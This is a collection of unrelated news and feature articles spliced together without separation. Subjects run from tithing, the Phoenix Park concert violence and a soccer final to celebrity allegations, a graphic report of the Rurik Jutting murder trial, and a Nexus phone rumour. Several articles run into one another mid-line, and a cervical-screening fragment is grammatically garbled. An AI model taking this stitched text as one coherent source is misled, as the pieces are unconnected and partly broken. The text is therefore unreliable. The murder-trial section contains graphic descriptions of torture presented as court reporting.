Paying our tithes — as well as other offerings — is one of the greatest privileges we have as Latter-day Saints. One of the uses the Church makes of tithing is the building of temples. There are 149 temples that have been dedicated (soon 150 with the dedication of the Provo City Center Temple on March 20), 14 under construction and nine announced.
Paying our tithing brings us into a special kind of financial partnership with the Lord. Our monetary contributions, added to our labors, help build and sustain His kingdom on Earth.What really happened in the Phoenix Park last weekend? We detail the events that marked a new low in Ireland’s relationship with drink, drugs and casual violence
FROM EARLY morning, Dublin’s Phoenix Park was thronged with cyclists, runners and families visiting the zoo.
Last Saturday dawned clear and sunny, a rare good day in a damp summer and a welcome contrast to the deluge of the night before.
It seemed like an ordinary summer day, except for the groups of young people who started arriving at about mid-morning.
The five-act gig headlined by Swedish House Mafia wasn’t due to start in the park until mid-afternoon but the first fans were already on the move.
They came toting carrier bags filled with drink cans and bottles; many had already broken into their stash and were discarding the empties.
Residents by the North Circular Road entrance to the park reported groups of youths pushing supermarket trolleys filled with drink. Over at the Chapelizod gate, gangs of youths started passing through the village from 11am, according to Cathy Norris, secretary of the local Tidy Towns committee.
Many tried to access the park by the pedestrian turnstile but became frustrated when they found it boarded up. Most were drinking and smashed their bottles against hall doors and garden walls when they were empty. Just one member of the Garda was on duty in the village, she says.
North of the park, the Halfway House pub on the Navan Road was doing a good trade, having erected a tent in order to sell drink in its car-park. It was selling cans of beer and cider for €2.50.
At the main gate to the park, on Chesterfield Avenue, four gardaí were stationed to oversee the arrival of thousands of concert-goers disgorged from shuttle buses from the city centre, which started operating at about 2pm.
Other fans arrived on foot up the quays, drinking naggins of vodka or transferring alcohol into plastic bottles before the security checks. The steps of the Criminal Courts complex nearby couldn’t be seen because of the surfeit of bottles.
Paul McQuaid, who runs the bike-rental shop at this entrance to the park, says he had never seen so many underage drinkers in his life. The kids coming off the buses were “lorrying into” full bottles of wine and vodka before they were confiscated, he says.
Large bins put in place to collect the empties were full long before the gig even started.
With the gates to the gig due to open at 3pm, the atmosphere across the park had already turned nasty. Fights started breaking out, while other young people passed out from their excesses.
Small children were pushed off their bicycles and drugs were being openly touted. Hopelessly outnumbered, the small number of gardaí on duty could do little to control events.
The gig was sold out, all 45,000 tickets, but it was clear that many young people had come without tickets. Some may have wanted to stay drinking in the park; others may have intended crashing the event.
The first act, Calvin Harris, was due on only 15 minutes after the gates opened. This left little time for people to enter the concert area in an orderly way, and contributed to the crush at the entrance. “The queue to get in was basically pushing and barging for 30 minutes,” one fan says. “It also would have been very easy for anyone who didn’t have a ticket to get in.”
In the ensuing melee, many fans say they weren’t checked on the way in. They say they could have brought in anything to the gig, and even entered without a ticket. But other fans say they were thoroughly checked, and that drink, when found, was confiscated.
Many weapons, including hammers and knives, were also confiscated, but it would become clear later that some attendees successfully smuggled drink, drugs and/or weapons into the event.
Some fans have pointed out that no sniffer dogs were present, as happens at other festivals overseas. Others said a failure to control entry using wrist bands made the event harder to control.
By now, there was trouble both inside and outside the concert area. Fans outside, in the park, were seen flinging bottles around and starting fights.
Families cowered inside the zoo to avoid the trouble, or cut through the grass to the car park, past fans urinating in full view, to make a quick exit. Drunken fans stopped by the ice-cream vans asking if they sold alcohol.
Some idea of the mayhem can be gleaned from social media sites and subsequent radio programmes. One woman saw a group of 10-15 youths fighting.
“They were jumping on top of each other, coming away with heads and faces bleeding, and their shirts ripped, I had to drive away quickly because they were landing on my car.”
“In my first five minutes there I saw a guy loaf a girl and bust her nose,” recalled one concert-goer, while another may have been describing the same incident: “The first thing I saw when got into the area was a guy punch a girl full force in the face.”
Things were particularly fraught during breaks between acts. An ambulance worker*, whose group treated more than 100 fans, said bottles were being thrown into the air or smashed over people’s heads.
One fan witnessed two young men slashing each other with broken naggin bottles, and another a fight between two girls.
YouTube footage shows images of bare-chested, bellicose youths kicking and punching each other in a bath of mud, while others join in on a whim. There is little evidence of meaningful intervention by security personnel.
“One man that was pushed, pulled out mace from his pocket and sprayed it in another man’s eyes in front of the whole crowd,” said concert-goer Sinéad Doyle. “It was horrible. At this point I decided it was way too dangerous and I wasn’t comfortable and decided to leave the concert.”
Large numbers of fans were described as being “out of their heads”. One group was seen using coins to scoop up cocaine from a tennis-ball-sized bag of powder; another used keys to deliver their hit.
Fans reported being offered ketamine and other pills of various hues. Some of the product on offer was new to Dublin, and was being sold under names such as “ghost” and “death”.
Large queues formed at the women’s toilets, leading to outbreaks of aggression.
A pregnant woman had drink thrown over her, while an attempt was made to overturn a Portaloo while it was occupied. Impatient fans kicked in the door of another toilet which was occupied by a couple for a long time.
The musicians on stage seemed unaware of the mayhem occurring among the audience and many fans said they were unaware of the violence or were successfully able to steer clear of it. Of those who witnessed violence, many avoided it and had a good time.
The on-site bars, which had been serving Heineken, wine and water, closed at 10pm. This area was well staffed by security, according to those present, and was largely free of queues.
Despite the subsequent focus on a hard core of trouble-makers, it was clear that the concert attracted young people from a wide variety of backgrounds and classes. However, many fans opted to leave early, some going even before the headline act.
The disorder continued as the fans dispersed before midnight, spilling out into the surrounding neighbourhoods for a time.
It took another day, however, before the full scale of the violence became apparent: two drug deaths, nine stabbings and 33 arrests leading to 70 charges.
Lee Scanlon (20), from Clonsilla, died after looking for help at the medical tent complaining of chest pains.
He was pronounced dead shortly after he was admitted to James Connolly Memorial Hospital Blanchardstown on Saturday evening.
Shane Brophy (21), from Swan, Co Laois, left the concert and died after becoming ill at a party in a friend’s house in west Dublin.
Two of the stabbing victims remain in hospital and one man has been charged with a knife assault on a fan.
Concert company MCD has rejected claims of inadequate security, saying that the 511 security personnel and 145 gardaí on duty exceeded the number required under its licence.
By last Thursday, the park had been cleaned up and the worst litter that could be seen was the dung left by passing horses.
Staff continued to pick the concert site clean as work continued on dismantling the stage. The site looked like a pasture through which a herd of cattle had passed, but no worse.
*This article was amended on 18/07/2012 to correct a factual error.Coaching stability and a chance to play for a national title on home turf brought out the best in the UBC women’s soccer program in 2015.
On Sunday, the Thunderbirds, who had gone through four coaches in four seasons and who hadn’t been to the CIS championship tournament since 2010, finished off the campaign in style.
The ‘Birds, under first-year head coach Marisa Kovacs, dominated Canada West rival Trinity Western University for most of the 90 minutes at Thunderbird Stadium, dispatching the Spartans 3-0 before about 1,000 fans on a chilly night on the Point Grey campus. It was UBC’s record sixth CIS title, breaking a tie with TWU, the 2012 and 2013 champions.
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“Oh my gosh, I can’t even put it into words,” a beaming Krista Whittaker, a fifth-year centre back from Nanaimo, said shortly after the final whistle. “I don’t know if I’m supposed to yell, if I’m going to cry...”
Whittaker was a stalwart on a dominant back line for a ‘Birds team that finished the season with a 19-1-3 record overall and didn’t allow a goal in three tournament games, including a 2-0 semifinal win Saturday over the University of Sherbrooke.
“We really gelled this last little while,” said “Whittaker. “We weren’t OK with anyone getting in dangerous areas. We wanted every ball. We wanted every header. We wanted a shutout every single game.”
Goalkeeper Olivia de Goede, who made two big saves in the final, recorded the three tournament shutouts for 12 on the season. The Victoria native, who didn’t play a single CIS game in four years at the University of Victoria, became a starter in her only season at UBC.
“Not bad, eh,” said de Goede of going out a champion. “Not a bad ratio. It feels so good to do it with this team. I’ve only been here a short while, but I instantly bonded with this group. It feels so good to finally play and to finally win gold.”
It was the ‘Birds most decisive win of the season over TWU. They beat the Spartans 2-0 early in the regular-season, drew 0-0 on the final weekend and won 1-0 a week ago in the Canada West final in Saskatoon.
First-half goals by fullback Madison Guy and winger Shayla Chorney off a terrific cross by Jasmin Dhanda gave UBC all the cushion it would need. Taylor Shannik completed the scoring in the 65th minute when her corner kick from the left curled directly to TWU ‘keeper Ally Williamson, who spilled the ball into her own goal.
Kovacs replaced former Canadian national team standout Andrea Neil, who quit after just two years at the helm. Neil got the job in controversial fashion after Marc Rizzardo was initially given the job to replace Mark Rodgers, only to have it taken away after one day. He later won a settlement from the university after a human rights complaint.EXCLUSIVE, UPDATED: As claims against Harvey Weinstein and Kevin Spacey remain fresh, Jeremy Piven, star of the new CBS drama series Wisdom of the Crowd, today found himself in the spotlight of sexual harassment allegations. On Monday, reality TV personality/actress Ariane Bellamar made specific accusations on social media that Piven groped her on the set of Entourage and at the Playboy Mansion several years ago.
“We are aware of the media reports and are looking into the matter,” a CBS spokesperson said in a statement to Deadline on Tuesday.
The network offered no additional details of what form or function any investigation was taking. Wisdom of the Crowd, from CBS TV Studios, is still be in production on its original 13-episode order.
CBS is currently mulling the fate of the modestly rated series. We have learned that the network had ordered three backup scripts while deciding on a possible episodic pickup beyond the initial 13.
CBS’ statement by the net follows a trio of tweets by Bellamar on October 30 about the Emmy-winning actor and his alleged unwelcomed interactions with her:
Hey @jeremypiven! ‘Member when you cornered me in your trailer on the #Entourage set? ‘Member grabbing my boobies on the 🛋 without asking?? — Ariane Bellamar (@ArianeBellamar) October 30, 2017
She added, with the hashtag #MeToo:
‘Member when I tried to leave; you grabbed me by the ass, looked at yourself in the mirror, & said what a ‘beautiful couple’ we made? #MeToo https://t.co/liD7irs0o0 — Ariane Bellamar (@ArianeBellamar) October 30, 2017
In a third tweet, Bellamar accused Piven of assaulting her another time, at the Playboy Mansion.
Jeremy Piven, on two occasions, cornered me & forcefully fondled my breasts & bum. Once at the mansion & once on set. #MeToo @AriMelber @CNN https://t.co/liD7irs0o0 — Ariane Bellamar (@ArianeBellamar) October 30, 2017
HBO also issued a response. “Today, via the press reports, is the first we are hearing about Ariane Bellamar’s allegations concerning Jeremy Piven,” the premium cabler said in a statement. “Everyone at HBO and our productions is aware that zero tolerance for sexual harassment is our policy. Anyone experiencing an unsafe working environment has several avenues for making complaints that we take very seriously.”
Bellamar’s claims come as sexual harassment and sexual assault allegations are swirling around the industry.
Piven’s Wisdom of the Crowd landed a series order by CBS in May after strong testing. The critically panned drama, which stars Piven as a tech billionaire who sells his company to launch a venture dedicated to fighting crime via crowdsourcing, has been a shaky ratings performer in the Sunday 8 PM slot despite getting boosts from NFL doubleheaders every other week. This past Sunday, up against Sunday Night Football and Game 5 of the World Series, Wisdom hit a series low of 6.8 million viewers and a 0.7 rating among in adults 18-49 in Live+Same Day ratings.
Having first come to small-screen prominence on Ellen DeGeneres’ ABC sitcom in the late 1990s, Piven went on to win a Golden Globe and three Emmys for playing Ari Gold on the HBO series Entourage, which debuted in 2004. The super-agent role was one he reprised for the 2015 feature film based on the series.
The actor’s other credits include Smokin’ Aces, Guy Ritchie’s RocknRolla and Edge of Tomorrow. He also was a producer and star of the UK TV series Mr. Selfridge.1H (19:57) FLA KeVaughn Allen grabs the ball off the tip-off and easily runs in a layup. (0:14)
K. Allen grabs the ball off the tip-off and easily runs in a layup. (0:14)
COLUMBIA, S.C. -- Michael Carrera is confident the darkest days are behind South Carolina. He's glad he's had the chance to make that happen.
Carrera had 20 points including the go-ahead foul shots in overtime to lead the Gamecocks to a 73-69 victory over Florida on Saturday.
"Everybody had bad days, everybody has good days," Carrera said. "Now, I think we're getting on track for the good days. Let's see what we've got."
With Carrera, the Gamecocks (22-5, 9-5 Southeastern Conference) have plenty. He had 15 rebounds for his ninth double-double this season, adding three steals and three blocks as South Carolina ended Florida's seven-game series win streak.
Gamecocks coach Frank Martin said Carrera, the 6-foot-5 senior with ridiculously long arms, has never before been a team's centerpiece performer. But Carrera's grit, hustle and ability to shake off criticism and fire back on all cylinders has him fueling the team's best run in a decade.
"This is a new chapter in his career," Martin said. "And for going through it the first time, he's doing pretty darn well."
As is South Carolina which overcame a game of wild swings -- it lead 30-13 early, trailed 39-32 in the second half and 69-68 in overtime -- to emerge with its most victories since the 2005-06 team went 23-15.
And it was Carrera's free throws with 1:36 to go in overtime that gave the Gamecocks the lead for good, 70-69.
Florida, trailing 72-69, had a chance to tie in the final 10 seconds, but Chris Chiozza missed a 3-pointer.
Gators coach Mike White said he hoped to spring Dorian Finney-Smith for a 3, but South Carolina's defense forced a long outside shot. "We let up," White said. "Let a huge opportunity slip away."
Sindarius Thornwell added 17 points for South Carolina.
|
highlighted a need to look at the follow-up treatment of women with CIN3. omen over 50 are being urged to have regular smear tests after separate new research studies by Cancer Research UK indicated that those who do did not attend are were six times more likely to develop cervical cancer than those whose test results were normal.
In England and Northern Ireland women aged 25 to 49 are offered screening every three years, and every five years between 50 and 64.
Professor Julietta Patnick, director of the NHS Cancer Screening Programmes, said women could control their risk of cervical cancer through regular screening.
"Any abnormalities that might be found can then be treated in order that they do not go on to develop into cancer. Where a cervical cancer is found through screening it is usually at a very early stage where treatment has a greater chance of success. It is essential that women are aware of this when deciding whether or not to be screened."
• This article was amended on 15 January 2014. An earlier version referred to a colonoscopy when colposcopy was meant. This has been corrected.USA TODAY Sports
LeBron James is a physical specimen. Not only is the King unbelievably fast, strong, and athletic, but he also stands at 6-foot-8, 250 pounds. That’s a deadly combination that allows him to make plays like this one, or this one, or this one.
But what if LeBron had only grown to by 6’3? That’s the size a doctor told him he would grow up to be when James visited for a checkup at the age of 11. The thought devastated him.
“When your idols are Michael Jordan and Penny Hardaway, you’re like [expletive],” James said to cleveland.com in a one-on-one session. “You’re looking on the back of basketball cards and it says M.J. 6-6, Penny Hardaway 6-7½, Grant Hill 6-8, you’re like, ‘I’m only going to be 6-3? Golly. My dreams are shattered.’ That’s how it made me feel.”
Now, for the average human being, 6’3 is still pretty darn tall. But for LeBron, who had aspirations of playing in the NBA, he worried that wouldn’t get the job done.Breaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings.
Dec. 7, 2017, 1:22 AM GMT / Updated Dec. 7, 2017, 1:22 AM GMT By Phil McCausland
To the faithful, it’s a road sign on the highway to hell.
The American Atheists group has continued an annual tradition by putting up billboards in Albuquerque, New Mexico, and Dallas-Fort Worth, Texas, that state “Just Skip Church… It’s All Fake News” alongside an image of the Christian nativity scene.
An attempt to put up two of the same signs in Oklahoma was stymied by the billboard company.
Nick Fish, a spokesman for American Atheists, claimed the signs aren’t meant to offend, but to spark a dialogue by adding a topical tag line.
Atheist billboard in Albuquerque, New Mexico. KOB
“It’s a way of starting a conversation not just with this organization but within a community,” Fish told NBC News on Wednesday. “The choice is often between being provocative or not being heard at all. If we can start that initial conversation, then we’re doing our jobs to get the ball rolling and get our foot in the door.”
Since the signs were put up on Nov. 30, many atheists in the affected areas have come forward in support of them, Fish said. These atheists claimed that the billboards made them feel as though they weren’t alone in their community.
American Atheists, which has gone after Christian groups as well as other organized religions since they formed in 1963, specifically targeted areas that they felt were particularly religiously homogeneous.
“It’s about targeting areas where religious identity is assumed. Albuquerque is not necessarily a conservative place,” Fish said, “but there is a lot of religious expectation there and we want to challenge that.”
Fish said the billboards will stay up through the end of December, and they plan to put up more ahead of their national convention that takes place over Easter weekend in Oklahoma City.
Atheists.org
Lamar Advertising Company told American Atheists that they could not put up their “Fake News” sign in Oklahoma City or Tulsa because they said it did not meet their standards. Instead, the nonprofit put up a billboard that proclaimed, “Just Like Santa Claus, the Atheists Are Comin' to Town!” — which "was deemed acceptable, but given the nature of this market, it is still considered to be sensitive."CLOSE One Colorado dad has taken his love of 'Star Wars' to the next level by creating models from office supplies. VPC
Star Wars models created with office supplies (Photo: Jeremy Brumage)
DENVER — Jeremy Brumage has been a Star Wars fan for as long as he can remember. The first film came out when he was 2 years old.
"It's kind of been my life on and off forever," Brumage said.
Several years ago while working at a call center, he wanted to decorate his desk with Star War items but couldn't find models that were the right size. Combine that with a little boredom, and you've got some pretty impressive models.
"Bored at work and I wanted something that they didn't make anywhere, so I thought I'd just make my own," he said.
And that was it. Between phone calls at the call center Brumage began making Star Wars models out of office supplies, or work junk as he called it.
"It started with one ship and then people around work started bringing me pieces of work junk and said, 'Can you use this to make this,' and I ended up making about, let's see, five or six or maybe seven," he said.
Brumage said he worried his bosses would be mad, but soon they too were bringing him boxes of supplies for his creations.
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"Scrap materials. Each one has paperclips, folders, staples. Then some more complicated parts would be like telephone headset pieces, that, you know, their headset would break and they'd start giving me pieces," Brummage said. "Then to make the stands, I used either a marker or a highlighter and cut that in half and used the lid to plug it in and let them stand up that way."
Brummage also used coffee stirrers, thumbtacks and pencil erasers to make the models. Pens were used to make up the laser cannons on the X-Wing Fighter. Markers make up the thrust engines.
Darth Vader's Tie Fighter includes a tiny Darth Vader, made from pencil erasers that were painted black. The wings are even detachable just like they were on the classic toy.
Office supplies used to create Star Wars models (Photo: Jeremy Brumage)
"The first one I drew out, and got the measurements and everything. I went online to see what the scale was and shrink it down to inches. I made them all to scale until I got to one ship that I just couldn't do it in scale because I couldn't convince the bosses to let me have such a big thing on my desk at work."
The easier models took him about a week, but the more complicated ones took up to a month.
"The Millennium Falcon, that thing was a whole bunch of little tiny pieces that I had to cut out."
Brumage says he has a new position at work and doesn't have as much time to work on the models.
"The funny thing is for the longest time my daughter thought that's what I did for work," he said. "I'd bring those home, she was like, 'My daddy builds Star Wars models.' We had to tell her the bad news, as cool as I sound, I don't really do that."
Brumage plans to pass the models on to his five children.
"They're going to go to my kids. They've all called what they want and they've divvied them up."
Click here for a behind-the-scenes look at how the models were created.
Follow Janet Oravetz on Twitter: @janet15ou
Read or Share this story: http://usat.ly/1m2KzGRThey made us wait a little for the news, but the BBC has finally done the right thing by Vic and Bob's House Of Fools and commissioned a second series. Six episodes of the surprising, inventive and supremely silly comedy aired on BBC Two earlier this year, with a regular cast including Dan Skinner, Morgana Robinson, Matt Berry and Daniel Simonsen.
The series takes place in Bob's titular house, shared by his Norwegian son Erik (Simonsen), Vic, and Vic's ex-con brother Bosh (Skinner). Nextdoor is the lascivious Julie (Robinson), and regular visitor Beef (Berry). The first series was a comedy that, once you relaxed into its songs, cutaways and colourful antics, was capable of cheering up even the grumpiest of Tuesdays. Hooray for its return.
Bob Mortimer made the announcement on Twitter this morning, in between giving advice on onion placement in vegetable arrangements, divining very specific horoscopes and generally being a flipping delight.
@RealBobMortimer
Follow our Twitter feed for faster news and bad jokes right here. And be our Facebook chum here.Plus-size modeling has gotten plenty of praise for being a force for positivity and inclusivity. But one of the nagging debates around curvier models, often from those in comments sections of articles about them, is that bigger models are "unhealthy."
That's the latest critique thrown plus-size model Ashley Graham's way, from none other than fellow Sports Illustrated Swimsuit Issue model Cheryl Tiegs. Tiegs, who at 68 appeared on the cover of the famous magazine 33 years ago, was asked by an E! red carpet reporter whether she loves the fact that "full-figured women" are now being included in modeling, like Graham's casting on the cover of the 2016 Sports Illustrated Swimsuit Issue.
"Actually, I don't like it..." Tiegs said, to the apparent surprise of the reporter.
The issue, she says, is that celebrating curvier women encourages unhealthy bodies and behaviors. A waist, she said, should be smaller than 35 inches — at least so says Dr. Oz.
But hey, Graham's face is purdy, at least.
Criticizing Graham and the broader plus-size, body positivity movement at large isn't quite the most popular opinion these days. News of Graham's historic cover as well as her recent successes — ads for NYDJ jeans and Swimsuits for All, a spot on 20/20's #TheYear list of notable people — have been met with widespread praise.
But the critique that plus-size women like Graham encourage unhealthy habits isn't new, nor is it uncommon. As blogger Sarah Conley told the New Yorker, "Being really visible when you're a plus-size woman is not for the faint of heart," given how much heal-focused criticism is tossed around.
One recent example was when Tess Holliday, the size-26 model who's covered People magazine, found her Facebook filled with comments like "There is no such thing as healthy obesity at this level. [...] This bitch looks like ten packs of chewing gum stuffed in a finger cot. Think that's sexy and admirable? Fine, die slowly on your own goddamned time... It's promoting a life of disease."
Such comments demonstrate another clear issue: The "plus-size models are unhealthy" trope is often deployed as a form of "concern trolling," in which critique and insult of someone's size is disguised as concern for their well-being.
Obesity can indeed bring with it various health threats. But we also know health isn't wholly visible from the outside. A person with a thin waist may be extremely unhealthy for various reasons (say, if they're a heavy smoker) while someone with thicker thighs or curvy hips may have great cholesterol, eat well and exercise often. (That's why BMI is a questionable way to assess healthiness, as French lawmakers recently found out with their controversial measure to regulate the modeling industry by BMI.)
Those who follow Graham on Instagram know that the 28-year-old is committed to health as an avid exerciser. In fact, she recently became the face of a workout clothing line by Addition Elle (a company she also designs plus-size lingerie for) that goes up to a 4XL — a reminder that yes, plus-size women do work out. In fact, the Addition Elle line is just one of several new plus-size exercise brands.
"As far as dressing curvy girls in activewear, I mean, maybe the assumption was that we don't work out but, honey, I work out," she told Mic previously. "I wouldn't be this cute if I didn't work out."
A photo posted by (@) on
And health and fitness aside? The body positivity movement, which has helped drive the rise of so-called "plus-size models" in fashion, isn't so much about promoting any lifestyle but instead representation. Everyone has their own health struggles, public and private. But in the meantime, women should be able look at the ads, magazines and stores around them and see positive examples of women who look like them.
As Graham said last year, "I know my curves are sexy and I want everyone else to know that theirs are too. There is no reason to hide and every reason to flaunt."
For what it's worth, Tiegs acknowledged the backlash to her comment with a tweet:
To clarify re bodyweight. Being anorexic/bulimic/overweight all connected to health problems. I want all to be as healthy as they can.
Feb. 26, 2016, 9:46 a.m.: This story has been updated.
Get the five stories that will challenge you to rethink the world by signing up for MicCheck Daily.Increasing frustration after the last-lap pass debacle that saw Ducati's Andrea Iannone (29) crash and take out teammate Andrea Dovizioso (04) in the final corner at Argentina resulted in Ducati management calling both riders to the factory to tell them they are under new "passing rules." Photo courtesy of Ducati Corse
After four races, the first factory Ducati is Andrea Iannone in 10th spot in the MotoGP championship standings. Or rather, it should be said that Iannone is “only in 10th place.” Yes, there are 14 more races to go in the championship, so there are plenty of opportunities to catch up to the leaders, but this doesn’t take care of the feeling of bitter disappointment felt in the Borgo Panigale firm’s racing department. Especially because the circumstances that have led to this situation has been, let’s say…“non-technical.”
After the enormous R&D effort made by Ducati during the winter and the preseason, expectations of a strong start to the 2016 season were high…and for good reason. In the first 2016 qualifying session at Losail, Andrea Iannone put his Desmosedici in 4th position, just 0.150 seconds off Jorge Lorenzo’s pole time. The work done by Dall’Igna and his technicians had apparently paid off.
In the Qatar race, it was not Iannone but Dovizioso who gave the Italian brand the satisfaction they had expected. In a very strategic race, the more veteran of the two Andreas made his way from sixth position on the grid to the second step of the podium, finishing in front of names like Marc Marquez, Valentino Rossi or Dani Pedrosa. In the very first laps of the race there were some scary moments when both Iannone and Dovizioso staged a fratricidal duel, which ended with Iannone crashing on lap four. And yet the euphoria of Dovizioso’s good result somehow diluted the fact that both Desmosedicis could have possibly finished on the podium.
But in racing, existing problems don’t stay hidden long. In the following GP at Termas del Rio Hondo in Argentina, Ducati’s worst nightmare came true when Iannone crashed and took out Dovizioso while trying a very risky pass in the next-to-last corner of the race while the pair were fighting over second place. A possible great result turned into a disaster. The next two GPs were a repetition of high and lows, which led to Ducati management’s frustration at the situation finally reaching a boiling point.
After being taken out by his teammate in the next-to-last corner of the final lap at Argentina, Andrea Dovizioso picked up his damaged Desmosedici and pushed it across the finish line to collect 13th place points...instead of what should have been second place points. Photo courtesy of Ducati Corse
The annoyance with what happened in Argentina led the management at Reparto Corse to establish a “behavior protocol” in case both riders meet again on the track during a race…which will certainly occur at some point in time. “It’s not in the contract”, complained one of rider’s managers. The “protocol” was communicated to the riders verbally in the facilities of the Racing Department at Borgo Panigale.
We don’t know the details of these “non-written rules”, but we do know that one refers to how each rider is to act in case the two get into the same situations as Qatar and Argentina. The new protocol establishes that, in case of being passed by his teammate, the overtaken rider must wait at least until the following lap to try to re-pass his teammate. Yes, it obviously sounds almost ridiculous, and immediately brings up the question what they should do if the first pass happens on the final lap, like in Argentina, or if there are other riders in the mix.Donald Trump is outperforming Mitt Romney’s 2012 performance with Hispanic voters, according to a poll released Tuesday.
Hillary Clinton leads Trump 48 percent to 45 percent nationally in the NBC poll. Among Hispanics she leads Trump 65 percent to 28 percent. Romney received 27 percent of the Hispanic vote in 2012. Last week, a poll showed Trump leading Clinton 55 percent to 45 percent among Hispanic registered voters.
After Romney’s loss to Obama, the RNC released in “autopsy” in which they identified a need for more Republican outreach to Hispanic voters. Many Republicans have worried that Trump’s rhetoric will damage this GOP effort to win over Hispanic-Americans.
A recent poll showed nearly 90 percent of Latino voters view Trump unfavorably. Romney at this point in 2012 also did not have great numbers with Hispanic voters, as only 27 percent viewed him favorably.
The NBC poll was conducted online with a sample of 14,100 adults and has a margin of error of plus or minus 1.2 percent.New girl group� Wassup �will be coming your way soon and they're aiming for a sensational debut by bringing the dance craze of twerking to Kpop!
Sony Music Korea and Mafia Record�joined forces to create the 7-member hip hop girl group which will stick out from the crowd with their 'dancehall' genre of music. The group has been training for the past 3 years and is set to bring in all eyes as they utilize twerking for their debut.
Sony Music Korea stated, "Wassup will differentiate themselves from other girl groups with their eye-catching concept. They will aim to spread hip hop music through their various activities."
The girls are giving you a taste of what is to come with two video clips, so check them out below, and leave your thoughts!A BANKER tortured a prostitute for three days, then slashed her throat and hid her body in a suitcase, a court heard yesterday.
Rurik Jutting, 31, even filmed himself subjecting Sumarti Ningsih, 23, to a horrific ordeal after fuelling himself with booze, cocaine and Red Bull
Reuters 15 Rurik Jutting, 31, arrived in court in Hong Kong today to enter his plea (File photo)
candymagicuk supplied by pixel 8 15 Sumarti Ningsih's body was found in a suitcase in Jutting's luxury apartment
Facebook 15 Seneng Mujiasih was also killed by Jutting, who is said to have filmed the attacks on his phone
Getty Images 15 Jutting arrives at court in an armoured prison van as part of a police convoy today
Getty Images 15 The case has been the subject of much media attention and has shone a spotlight on Hong Kong's seedy underbelly
He forced terrified mum-of-one Sumarti to lick a toilet bowl before he cut her throat with a serrated knife.
But she did not die immediately so he dragged her to the shower where he sawed through her neck.
Sumarti was one of two Indonesian sex workers killed by Jutting in his luxury 31st floor flat near Hong Kong’s seedy Wan Chai district.
His second victim, Seneng Mujiasih, 26, was killed five days later. Her throat was also cut.
Prosector John Reading QC told Hong Kong’s High Court: “This is a horrific case. There are video clips taken from the accused’s iPhone and photos — and they show extreme torture.
“You will see a dead body in the shower and it will be difficult to watch.
“This is a unique case because much of the evidence comes from the accused himself.”
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Cambridge University graduate Jutting, originally of Cobham, Surrey — who moved to Hong Kong in 2013 — sat in the dock with four prison guards.
He pleaded guilty to manslaughter on the grounds of diminished responsibility but this was rejected by the prosecution.
He denied two charges of murder but admitted a third charge of preventing the lawful burial of a body.
The trial started almost two years to the day after Sumarti’s death.
Jutting wrapped her body in a plastic bag and stuffed it in a suitcase that he left on a balcony.
Sumarti had met Jutting in a hotel for sex days earlier, the jury heard.
He had been rough with her and she offered him half his money back if she could leave. He agreed.
But days later she went back to his flat in the early hours after he promised her a large sum of money.
Mr Reading said: “Over the next three days the accused subjected Miss Ningsih to increasingly cruel levels of violence using his belt, sex toys, a pair of pliers and his fists.
“After torturing her he took her into the bathroom, had her kneel in front of the toilet bowl with her hands tied behind her back, made her lick the bowl and then he cut her throat with a serrated-edged knife.
Getty Images 15 Police found two Indonesian women dead in Jutting's luxury apartment in 2014
Reuters 15 Armed policemen guard the entrance as a prison car carrying British former banker Rurik Jutting enters High Court
Getty Images 15 Jutting is said to have murdered the two sex workers before chopping their bodies up
News Group Newspapers Ltd 15 A judge warned jurors that the banker filmed the'shocking' attacks on his mobile (File photo)
“She did not immediately die, so he dragged her into the shower and continued to saw through her neck. That knife was never recovered.”
The court heard Jutting videoed himself as he discussed the killing and what he should do next, whether to give himself up, kill himself or hide the body and flee to the UK.
Jurors heard how in footage Jutting, who earned £340,000 a year, described watching extremely violent porn and turning his fantasies into reality.
Getty Images 15 A group of protesters gathered outside the court demanding justice for the victims
Getty Images 15 The demonstrators, from Indonesian migrant worker organisations, called for compensation for the victims' families
Getty Images 15 Jutting is accused of torturing one of his victims for three days before killing her
Mr Reading said: “He talked about having raped Miss Ningsih.”
Jutting picked up second victim Seneng in a bar.
Mr Reading said that before meeting Seneng, Jutting bought £490 worth of sex toys and tools including a blowtorch.
Getty Images 15 Jutting's legal team arrive at court today ahead of what is expected to be a three-week trial
AP:Associated Press 15 An armed officer gestures for the crowd to move back to make way for a bus carrying the former banker to court
Getty Images 15 Jutting admitted killing the two women but denies murder on the grounds of diminished responsibility (File photo)
Mr Reading said Jutting had left two knives under cushions on his sofa and also made a gag out of rope and a condom.
He said Jutting and Seneng returned to his flat and kissed and cuddled.
Mr Reading added: “Miss Mujiasih apparently saw the gag and began to shout at the accused.”
Jutting cut her throat in a struggle that followed.
After the killing. Jutting took cocaine and, in a later police interview, said he had been hallucinating.
He made a rambling emergency call, saying he was “surrounded by police and special forces”.
He told two cops who arrived at his flat: “If I have to go to jail I will do so in the UK.”
Officers then noticed a pool of blood and Seneng’s legs poking out from under a quilt on the floor.
Sumarti’s body was found eight hours later after an officer noticed a strong smell from the balcony. The trial continues.
Rise & fall of lad who had it all... PRIVILEGED Rurik Jutting grew up in a Grade II-listed mansion called Foxwarren.
It was the inspiration for Toad Hall in classic kids book The Wind in The Willows. He went to a prep school near his Surrey home, and Winchester College, where fees are £34,000 a year. Jutting studied history at Peterhouse College, Cambridge. After leaving university, Rutting worked with Barclays before switching to Bank of America Merrill Lynch in 2010. He moved to Hong Kong in 2013 and became a regular in the expat pubs and girlie bars of the Wan Chai area. He would also fly to the Philippines at weekends and visit Angeles City, dubbed “Sin City”. For six months he had a regular girlfriend, a club hostess. But she ended things in summer 2014, after which his behaviour grew increasingly odd. Months later, he would call cops to his flat...That's right, we're finally jumping on the rumor train for the next Nexus phone(s?). Today, Android and Me published an article with a rather detailed rumor stemming from a "regular source who has provided accurate information in the past."
Given their confidence, and the specificity of their assertions, we're inclined to put some stock in them. So, what is the rumor? Let me break it down for you.
First, the Optimus G is going to be a Nexus phone. But it's not going to be the only one. According to A&M's source, the annual Nexus flagship program is being dismantled in favor of a more open model. Manufacturers won't have to compete to be the next Nexus phone, they'll just have to meet some rigorous hardware and various other requirements in order to slap the Nexus name on a phone. This falls in line with what we heard from The Wall Street Journal way back in May about multiple Nexuses.
One such requirement is 64MB of dedicated, secure storage for media streaming. This is, presumably, to keep Google's content providers on the Play Store happy. Limited custom UI overlays will be allowed, but they will fall into a "customization center," that will act as a theme manager. Presumably, you'll be able to go between stock Android and a custom overlay if you so choose. There will be additional hardware requirements (no microSD slot?), but no more specifics have been provided.
